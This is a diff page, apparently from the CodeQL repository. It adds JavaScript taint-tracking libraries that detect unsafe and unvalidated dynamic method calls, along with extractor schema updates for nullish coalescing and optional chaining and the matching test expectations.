import semmle.javascript.frameworks.Express
|
||||
import PropertyInjectionShared
|
||||
|
||||
module UnsafeDynamicMethodAccess {
|
||||
private import DataFlow::FlowLabel
|
||||
|
||||
/**
|
||||
* A data flow source for unsafe dynamic method access.
|
||||
*/
|
||||
abstract class Source extends DataFlow::Node {
|
||||
/**
|
||||
* Gets the flow label relevant for this source.
|
||||
*/
|
||||
DataFlow::FlowLabel getFlowLabel() {
|
||||
result = data()
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A data flow sink for unsafe dynamic method access.
|
||||
*/
|
||||
abstract class Sink extends DataFlow::Node {
|
||||
/**
|
||||
* Gets the flow label relevant for this sink
|
||||
*/
|
||||
abstract DataFlow::FlowLabel getFlowLabel();
|
||||
}
|
||||
|
||||
/**
|
||||
* A sanitizer for unsafe dynamic method access.
|
||||
*/
|
||||
abstract class Sanitizer extends DataFlow::Node { }
|
||||
|
||||
/**
|
||||
* Gets the flow label describing values that may refer to an unsafe
|
||||
* function as a result of an attacker-controlled property name.
|
||||
*/
|
||||
UnsafeFunction unsafeFunction() { any() }
|
||||
private class UnsafeFunction extends DataFlow::FlowLabel {
|
||||
UnsafeFunction() { this = "UnsafeFunction" }
|
||||
}
|
||||
|
||||
/**
|
||||
* A taint-tracking configuration for reasoning about unsafe dynamic method access.
|
||||
*/
|
||||
class Configuration extends TaintTracking::Configuration {
|
||||
Configuration() { this = "UnsafeDynamicMethodAccess" }
|
||||
|
||||
override predicate isSource(DataFlow::Node source, DataFlow::FlowLabel label) {
|
||||
source.(Source).getFlowLabel() = label
|
||||
}
|
||||
|
||||
override predicate isSink(DataFlow::Node sink, DataFlow::FlowLabel label) {
|
||||
sink.(Sink).getFlowLabel() = label
|
||||
}
|
||||
|
||||
override predicate isSanitizer(DataFlow::Node node) {
|
||||
super.isSanitizer(node) or
|
||||
node instanceof Sanitizer or
|
||||
node instanceof PropertyInjection::Sanitizer
|
||||
}
|
||||
|
||||
/**
|
||||
* Holds if a property of the given object is an unsafe function.
|
||||
*/
|
||||
predicate hasUnsafeMethods(DataFlow::SourceNode node) {
|
||||
PropertyInjection::hasUnsafeMethods(node) // Redefined here so custom queries can override it
|
||||
}
|
||||
|
||||
override predicate isAdditionalFlowStep(DataFlow::Node src, DataFlow::Node dst, DataFlow::FlowLabel srclabel, DataFlow::FlowLabel dstlabel) {
|
||||
// Reading a property of the global object or of a function
|
||||
exists (DataFlow::PropRead read |
|
||||
hasUnsafeMethods(read.getBase().getALocalSource()) and
|
||||
src = read.getPropertyNameExpr().flow() and
|
||||
dst = read and
|
||||
(srclabel = data() or srclabel = taint()) and
|
||||
dstlabel = unsafeFunction())
|
||||
or
|
||||
// Reading a chain of properties from any object with a prototype can lead to Function
|
||||
exists (PropertyProjection proj |
|
||||
not PropertyInjection::isPrototypeLessObject(proj.getObject().getALocalSource()) and
|
||||
src = proj.getASelector() and
|
||||
dst = proj and
|
||||
(srclabel = data() or srclabel = taint()) and
|
||||
dstlabel = unsafeFunction())
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A source of remote user input, considered as a source for unsafe dynamic method access.
|
||||
*/
|
||||
class RemoteFlowSourceAsSource extends Source {
|
||||
RemoteFlowSourceAsSource() { this instanceof RemoteFlowSource }
|
||||
}
|
||||
|
||||
/**
|
||||
* The page URL considered as a flow source for unsafe dynamic method access.
|
||||
*/
|
||||
class DocumentUrlAsSource extends Source {
|
||||
DocumentUrlAsSource() { isDocumentURL(asExpr()) }
|
||||
}
|
||||
|
||||
/**
|
||||
* A function invocation of an unsafe function, as a sink for remote unsafe dynamic method access.
|
||||
*/
|
||||
class CalleeAsSink extends Sink {
|
||||
CalleeAsSink() {
|
||||
this = any(DataFlow::InvokeNode node).getCalleeNode()
|
||||
}
|
||||
|
||||
override DataFlow::FlowLabel getFlowLabel() {
|
||||
result = unsafeFunction()
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,153 @@
|
||||
/**
|
||||
* Provides a taint-tracking configuration for reasoning about unvalidated dynamic
|
||||
* method calls.
|
||||
*/
|
||||
|
||||
import javascript
|
||||
import semmle.javascript.frameworks.Express
|
||||
import PropertyInjectionShared
|
||||
private import semmle.javascript.dataflow.InferredTypes
|
||||
|
||||
module UnvalidatedDynamicMethodCall {
|
||||
private import DataFlow::FlowLabel
|
||||
|
||||
/**
|
||||
* A data flow source for unvalidated dynamic method calls.
|
||||
*/
|
||||
abstract class Source extends DataFlow::Node {
|
||||
/**
|
||||
* Gets the flow label relevant for this source.
|
||||
*/
|
||||
DataFlow::FlowLabel getFlowLabel() {
|
||||
result = data()
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A data flow sink for unvalidated dynamic method calls.
|
||||
*/
|
||||
abstract class Sink extends DataFlow::Node {
|
||||
/**
|
||||
* Gets the flow label relevant for this sink
|
||||
*/
|
||||
abstract DataFlow::FlowLabel getFlowLabel();
|
||||
}
|
||||
|
||||
/**
|
||||
* A sanitizer for unvalidated dynamic method calls.
|
||||
*/
|
||||
abstract class Sanitizer extends DataFlow::Node {
|
||||
abstract predicate sanitizes(DataFlow::Node source, DataFlow::Node sink, DataFlow::FlowLabel lbl);
|
||||
}
|
||||
|
||||
/**
|
||||
* A flow label describing values read from a user-controlled property that
|
||||
* may not be functions.
|
||||
*/
|
||||
private class MaybeNonFunction extends DataFlow::FlowLabel {
|
||||
MaybeNonFunction() { this = "MaybeNonFunction" }
|
||||
}
|
||||
|
||||
/**
|
||||
* A flow label describing values read from a user-controlled property that
|
||||
* may originate from a prototype object.
|
||||
*/
|
||||
private class MaybeFromProto extends DataFlow::FlowLabel {
|
||||
MaybeFromProto() { this = "MaybeFromProto" }
|
||||
}
|
||||
|
||||
/**
|
||||
* A taint-tracking configuration for reasoning about unvalidated dynamic method calls.
|
||||
*/
|
||||
class Configuration extends TaintTracking::Configuration {
|
||||
Configuration() { this = "UnvalidatedDynamicMethodCall" }
|
||||
|
||||
override predicate isSource(DataFlow::Node source, DataFlow::FlowLabel label) {
|
||||
source.(Source).getFlowLabel() = label
|
||||
}
|
||||
|
||||
override predicate isSink(DataFlow::Node sink, DataFlow::FlowLabel label) {
|
||||
sink.(Sink).getFlowLabel() = label
|
||||
}
|
||||
|
||||
override predicate isSanitizer(DataFlow::Node nd) {
|
||||
super.isSanitizer(nd) or
|
||||
nd instanceof PropertyInjection::Sanitizer
|
||||
}
|
||||
|
||||
override predicate isAdditionalFlowStep(DataFlow::Node src, DataFlow::Node dst, DataFlow::FlowLabel srclabel, DataFlow::FlowLabel dstlabel) {
|
||||
exists (DataFlow::PropRead read |
|
||||
src = read.getPropertyNameExpr().flow() and
|
||||
dst = read and
|
||||
(srclabel = data() or srclabel = taint()) and
|
||||
(dstlabel instanceof MaybeNonFunction
|
||||
or
|
||||
// a property of `Object.create(null)` cannot come from a prototype
|
||||
not PropertyInjection::isPrototypeLessObject(read.getBase().getALocalSource()) and
|
||||
dstlabel instanceof MaybeFromProto) and
|
||||
// avoid overlapping results with unsafe dynamic method access query
|
||||
not PropertyInjection::hasUnsafeMethods(read.getBase().getALocalSource())
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A source of remote user input, considered as a source for unvalidated dynamic method calls.
|
||||
*/
|
||||
class RemoteFlowSourceAsSource extends Source {
|
||||
RemoteFlowSourceAsSource() { this instanceof RemoteFlowSource }
|
||||
}
|
||||
|
||||
/**
|
||||
* The page URL considered as a flow source for unvalidated dynamic method calls.
|
||||
*/
|
||||
class DocumentUrlAsSource extends Source {
|
||||
DocumentUrlAsSource() { isDocumentURL(asExpr()) }
|
||||
}
|
||||
|
||||
/**
|
||||
* A function invocation of an unsafe function, as a sink for remote unvalidated dynamic method calls.
|
||||
*/
|
||||
class CalleeAsSink extends Sink {
|
||||
InvokeExpr invk;
|
||||
|
||||
CalleeAsSink() {
|
||||
this = invk.getCallee().flow() and
|
||||
// don't flag invocations inside a try-catch
|
||||
not invk.getASuccessor() instanceof CatchClause
|
||||
}
|
||||
|
||||
override DataFlow::FlowLabel getFlowLabel() {
|
||||
result instanceof MaybeNonFunction and
|
||||
// don't flag if the type inference can prove that it is a function;
|
||||
// this complements the `FunctionCheck` sanitizer below: the type inference can
|
||||
// detect more checks locally, but doesn't provide inter-procedural reasoning
|
||||
this.analyze().getAType() != TTFunction()
|
||||
or
|
||||
result instanceof MaybeFromProto
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A check of the form `typeof x === 'function'`, which sanitizes away the `MaybeNonFunction`
|
||||
* taint kind.
|
||||
*/
|
||||
class FunctionCheck extends TaintTracking::LabeledSanitizerGuardNode, DataFlow::ValueNode {
|
||||
override EqualityTest astNode;
|
||||
TypeofExpr t;
|
||||
|
||||
FunctionCheck() {
|
||||
astNode.getAnOperand().getStringValue() = "function" and
|
||||
astNode.getAnOperand().getUnderlyingValue() = t
|
||||
}
|
||||
|
||||
override predicate sanitizes(boolean outcome, Expr e) {
|
||||
outcome = astNode.getPolarity() and
|
||||
e = t.getOperand().getUnderlyingValue()
|
||||
}
|
||||
|
||||
override DataFlow::FlowLabel getALabel() {
|
||||
result instanceof MaybeNonFunction
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -338,6 +338,7 @@ case @expr.kind of
|
||||
| 104 = @decorator_list
|
||||
| 105 = @non_null_assertion
|
||||
| 106 = @bigintliteral
|
||||
| 107 = @nullishcoalescingexpr
|
||||
;
|
||||
|
||||
@varaccess = @proper_varaccess | @export_varaccess;
|
||||
@@ -357,7 +358,7 @@ case @expr.kind of
|
||||
|
||||
@comparison = @equalitytest | @ltexpr | @leexpr | @gtexpr | @geexpr;
|
||||
|
||||
@binaryexpr = @comparison | @lshiftexpr | @rshiftexpr | @urshiftexpr | @addexpr | @subexpr | @mulexpr | @divexpr | @modexpr | @expexpr | @bitorexpr | @xorexpr | @bitandexpr | @inexpr | @instanceofexpr | @logandexpr | @logorexpr;
|
||||
@binaryexpr = @comparison | @lshiftexpr | @rshiftexpr | @urshiftexpr | @addexpr | @subexpr | @mulexpr | @divexpr | @modexpr | @expexpr | @bitorexpr | @xorexpr | @bitandexpr | @inexpr | @instanceofexpr | @logandexpr | @logorexpr | @nullishcoalescingexpr;
|
||||
|
||||
@assignment = @assignexpr | @assignaddexpr | @assignsubexpr | @assignmulexpr | @assigndivexpr | @assignmodexpr | @assignexpexpr | @assignlshiftexpr | @assignrshiftexpr | @assignurshiftexpr | @assignorexpr | @assignxorexpr | @assignandexpr;
|
||||
|
||||
@@ -1077,4 +1078,8 @@ xmllocations(
|
||||
|
||||
@dataflownode = @expr | @functiondeclstmt | @classdeclstmt | @namespacedeclaration | @enumdeclaration | @property;
|
||||
|
||||
/* Last updated 2017/07/11. */
|
||||
@optionalchainable = @callexpr | @propaccess;
|
||||
|
||||
isOptionalChaining(int id: @optionalchainable ref);
|
||||
|
||||
/* Last updated 2018/10/23. */
|
||||
|
||||
@@ -1370,6 +1370,10 @@
|
||||
<v>100</v>
|
||||
</e>
|
||||
<e>
|
||||
<k>@nullishcoalescingexpr</k>
|
||||
<v>100</v>
|
||||
</e>
|
||||
<e>
|
||||
<k>@xmldtd</k>
|
||||
<v>1</v>
|
||||
</e>
|
||||
@@ -1393,6 +1397,14 @@
|
||||
<k>@xmlcharacters</k>
|
||||
<v>439958</v>
|
||||
</e>
|
||||
<e>
|
||||
<k>@optionalchainable</k>
|
||||
<v>100</v>
|
||||
</e>
|
||||
<e>
|
||||
<k>@nullishcoalescingexpr</k>
|
||||
<v>100</v>
|
||||
</e>
|
||||
</typesizes>
|
||||
<stats>
|
||||
<relation>
|
||||
@@ -19773,6 +19785,18 @@
|
||||
</columnsizes>
|
||||
<dependencies/>
|
||||
</relation>
|
||||
<relation>
|
||||
<name>isOptionalChaining</name>
|
||||
<cardinality>100</cardinality>
|
||||
<columnsizes>
|
||||
<e>
|
||||
<k>id</k>
|
||||
<v>100</v>
|
||||
</e>
|
||||
</columnsizes>
|
||||
<dependencies/>
|
||||
</relation>
|
||||
|
||||
<relation>
|
||||
<name>rangeQuantifierLowerBound</name>
|
||||
<cardinality>146</cardinality>
|
||||
|
||||
@@ -25,6 +25,7 @@
|
||||
| tst.js:4:5:4:12 | y | tst.js:12:6:12:6 | y |
|
||||
| tst.js:4:5:4:12 | y | tst.js:13:5:13:5 | y |
|
||||
| tst.js:4:5:4:12 | y | tst.js:14:9:14:9 | y |
|
||||
| tst.js:4:5:4:12 | y | tst.js:105:6:105:6 | y |
|
||||
| tst.js:4:9:4:12 | "hi" | tst.js:4:5:4:12 | y |
|
||||
| tst.js:9:2:9:2 | x | tst.js:9:1:9:3 | (x) |
|
||||
| tst.js:10:4:10:4 | y | tst.js:10:1:10:4 | x, y |
|
||||
@@ -59,6 +60,7 @@
|
||||
| tst.js:25:1:25:3 | x | tst.js:32:1:32:0 | x |
|
||||
| tst.js:25:1:25:3 | x | tst.js:57:7:57:7 | x |
|
||||
| tst.js:25:1:25:3 | x | tst.js:58:11:58:11 | x |
|
||||
| tst.js:25:1:25:3 | x | tst.js:105:1:105:1 | x |
|
||||
| tst.js:28:2:28:1 | x | tst.js:29:3:29:3 | x |
|
||||
| tst.js:28:2:29:3 | () =>\\n x | tst.js:28:1:30:1 | (() =>\\n ... ables\\n) |
|
||||
| tst.js:29:3:29:3 | x | tst.js:28:1:30:3 | (() =>\\n ... les\\n)() |
|
||||
@@ -117,6 +119,8 @@
|
||||
| tst.js:101:13:101:16 | rest | tst.js:101:3:101:16 | [ , z ] = rest |
|
||||
| tst.js:102:10:102:18 | x + y + z | tst.js:98:1:103:17 | (functi ... 3, 0 ]) |
|
||||
| tst.js:103:4:103:16 | [ 19, 23, 0 ] | tst.js:98:11:98:24 | [ x, ...rest ] |
|
||||
| tst.js:105:1:105:1 | x | tst.js:105:1:105:6 | x ?? y |
|
||||
| tst.js:105:6:105:6 | y | tst.js:105:1:105:6 | x ?? y |
|
||||
| tst.ts:1:1:1:1 | A | tst.ts:1:11:1:11 | A |
|
||||
| tst.ts:1:1:1:1 | A | tst.ts:7:1:7:0 | A |
|
||||
| tst.ts:1:1:5:1 | A | tst.ts:7:1:7:0 | A |
|
||||
|
||||
@@ -102,4 +102,5 @@ var vs2 = ( for (v of o) v ); // generator comprehensions are not analysed
|
||||
return x + y + z;
|
||||
})([ 19, 23, 0 ]);
|
||||
|
||||
x ?? y; // flow through short-circuiting operator
|
||||
// semmle-extractor-options: --experimental
|
||||
|
||||
@@ -1,14 +1,18 @@
|
||||
| a.js:1:9:1:22 | require('./b') | ./b | b.js:1:1:8:0 | <toplevel> |
|
||||
| a.js:3:6:3:23 | require('./sub/c') | ./sub/c | sub/c.js:1:1:4:0 | <toplevel> |
|
||||
| a.js:4:6:4:29 | require ... /d.js') | ./sub/../d.js | d.js:1:1:7:15 | <toplevel> |
|
||||
| a.js:7:1:7:18 | require('./sub/c') | ./sub/c | sub/c.js:1:1:4:0 | <toplevel> |
|
||||
| a.js:10:1:10:18 | require(__dirname) | | index.js:1:1:3:0 | <toplevel> |
|
||||
| a.js:11:1:11:25 | require ... + '/e') | /e | e.js:1:1:7:0 | <toplevel> |
|
||||
| a.js:12:1:12:28 | require ... + 'c') | ./sub/c | sub/c.js:1:1:4:0 | <toplevel> |
|
||||
| b.js:1:1:1:18 | require('./sub/c') | ./sub/c | sub/c.js:1:1:4:0 | <toplevel> |
|
||||
| d.js:7:1:7:14 | require('foo') | foo | sub/f.js:1:1:4:17 | <toplevel> |
|
||||
| index.js:2:1:2:41 | require ... b.js")) | /index.js/../b.js | b.js:1:1:8:0 | <toplevel> |
|
||||
| mjs-files/require-from-js.js:1:12:1:36 | require ... on-me') | ./depend-on-me | mjs-files/depend-on-me.mjs:1:1:7:1 | <toplevel> |
|
||||
| mjs-files/require-from-js.js:2:12:2:39 | require ... me.js') | ./depend-on-me.js | mjs-files/depend-on-me.js:1:1:8:0 | <toplevel> |
|
||||
| mjs-files/require-from-js.js:3:12:3:40 | require ... e.mjs') | ./depend-on-me.mjs | mjs-files/depend-on-me.mjs:1:1:7:1 | <toplevel> |
|
||||
| sub/c.js:1:1:1:15 | require('../a') | ../a | a.js:1:1:14:0 | <toplevel> |
|
||||
| a.js:1:9:1:22 | require('./b') |
|
||||
| a.js:2:7:2:19 | require('fs') |
|
||||
| a.js:3:6:3:23 | require('./sub/c') |
|
||||
| a.js:4:6:4:29 | require ... /d.js') |
|
||||
| a.js:7:1:7:18 | require('./sub/c') |
|
||||
| a.js:10:1:10:18 | require(__dirname) |
|
||||
| a.js:11:1:11:25 | require ... + '/e') |
|
||||
| a.js:12:1:12:28 | require ... + 'c') |
|
||||
| b.js:1:1:1:18 | require('./sub/c') |
|
||||
| d.js:1:1:1:38 | require ... s/ini') |
|
||||
| d.js:7:1:7:14 | require('foo') |
|
||||
| f.js:2:1:2:7 | r("fs") |
|
||||
| index.js:1:12:1:26 | require('path') |
|
||||
| index.js:2:1:2:41 | require ... b.js")) |
|
||||
| mjs-files/require-from-js.js:1:12:1:36 | require ... on-me') |
|
||||
| mjs-files/require-from-js.js:2:12:2:39 | require ... me.js') |
|
||||
| mjs-files/require-from-js.js:3:12:3:40 | require ... e.mjs') |
|
||||
| sub/c.js:1:1:1:15 | require('../a') |
|
||||
|
||||
@@ -1,6 +1,4 @@
|
||||
import semmle.javascript.NodeJS
|
||||
|
||||
from Require r, string fullpath, string prefix
|
||||
where fullpath = r.getImportedPath().getValue() and
|
||||
sourceLocationPrefix(prefix)
|
||||
select r, fullpath.replaceAll(prefix, ""), r.getImportedModule()
|
||||
from Require r
|
||||
select r
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
| a.js:1:9:1:22 | require('./b') | ./b | b.js:1:1:8:0 | <toplevel> |
|
||||
| a.js:3:6:3:23 | require('./sub/c') | ./sub/c | sub/c.js:1:1:4:0 | <toplevel> |
|
||||
| a.js:4:6:4:29 | require ... /d.js') | ./sub/../d.js | d.js:1:1:7:15 | <toplevel> |
|
||||
| a.js:7:1:7:18 | require('./sub/c') | ./sub/c | sub/c.js:1:1:4:0 | <toplevel> |
|
||||
| a.js:10:1:10:18 | require(__dirname) | | index.js:1:1:3:0 | <toplevel> |
|
||||
| a.js:11:1:11:25 | require ... + '/e') | /e | e.js:1:1:7:0 | <toplevel> |
|
||||
| a.js:12:1:12:28 | require ... + 'c') | ./sub/c | sub/c.js:1:1:4:0 | <toplevel> |
|
||||
| b.js:1:1:1:18 | require('./sub/c') | ./sub/c | sub/c.js:1:1:4:0 | <toplevel> |
|
||||
| d.js:7:1:7:14 | require('foo') | foo | sub/f.js:1:1:4:17 | <toplevel> |
|
||||
| index.js:2:1:2:41 | require ... b.js")) | /index.js/../b.js | b.js:1:1:8:0 | <toplevel> |
|
||||
| mjs-files/require-from-js.js:1:12:1:36 | require ... on-me') | ./depend-on-me | mjs-files/depend-on-me.mjs:1:1:7:1 | <toplevel> |
|
||||
| mjs-files/require-from-js.js:2:12:2:39 | require ... me.js') | ./depend-on-me.js | mjs-files/depend-on-me.js:1:1:8:0 | <toplevel> |
|
||||
| mjs-files/require-from-js.js:3:12:3:40 | require ... e.mjs') | ./depend-on-me.mjs | mjs-files/depend-on-me.mjs:1:1:7:1 | <toplevel> |
|
||||
| sub/c.js:1:1:1:15 | require('../a') | ../a | a.js:1:1:14:0 | <toplevel> |
|
||||
6
javascript/ql/test/library-tests/NodeJS/RequireImport.ql
Normal file
6
javascript/ql/test/library-tests/NodeJS/RequireImport.ql
Normal file
@@ -0,0 +1,6 @@
|
||||
import semmle.javascript.NodeJS
|
||||
|
||||
from Require r, string fullpath, string prefix
|
||||
where fullpath = r.getImportedPath().getValue() and
|
||||
sourceLocationPrefix(prefix)
|
||||
select r, fullpath.replaceAll(prefix, ""), r.getImportedModule()
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user